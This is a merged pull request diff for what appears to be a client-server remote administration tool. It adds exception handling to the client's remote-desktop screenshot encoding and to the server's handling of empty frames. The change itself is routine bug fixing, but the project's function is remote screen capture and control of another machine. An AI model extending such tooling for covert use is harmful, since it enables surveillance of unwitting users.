Merge pull request #61 from d3agle/master

Bugfix with Remote Desktop
This commit is contained in:
MaxXor 2015-04-14 20:25:59 +02:00
commit 4c0894dbb3
2 changed files with 31 additions and 5 deletions

View File

@ -233,11 +233,19 @@ namespace xClient.Core.Commands
using (MemoryStream stream = new MemoryStream())
{
StreamCodec.CodeImage(bmpdata.Scan0,
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
stream);
new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
try
{
StreamCodec.CodeImage(bmpdata.Scan0,
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
stream);
new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
}
catch
{
new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
StreamCodec = null;
}
}
LastDesktopScreenshot.UnlockBits(bmpdata);

View File

@ -111,6 +111,24 @@ namespace xServer.Core.Commands
if (client.Value.FrmRdp == null)
return;
if (packet.Image == null)
{
try
{
client.Value.FrmRdp.Invoke((MethodInvoker)delegate
{
client.Value.FrmRdp.picDesktop.Image = (Bitmap)client.Value.LastDesktop;
});
}
catch
{ }
client.Value.LastDesktop = null;
client.Value.LastDesktopSeen = true;
return;
}
// we can not dispose all bitmaps here, cause they are later used again in `client.Value.LastDesktop`
if (client.Value.LastDesktop == null)
{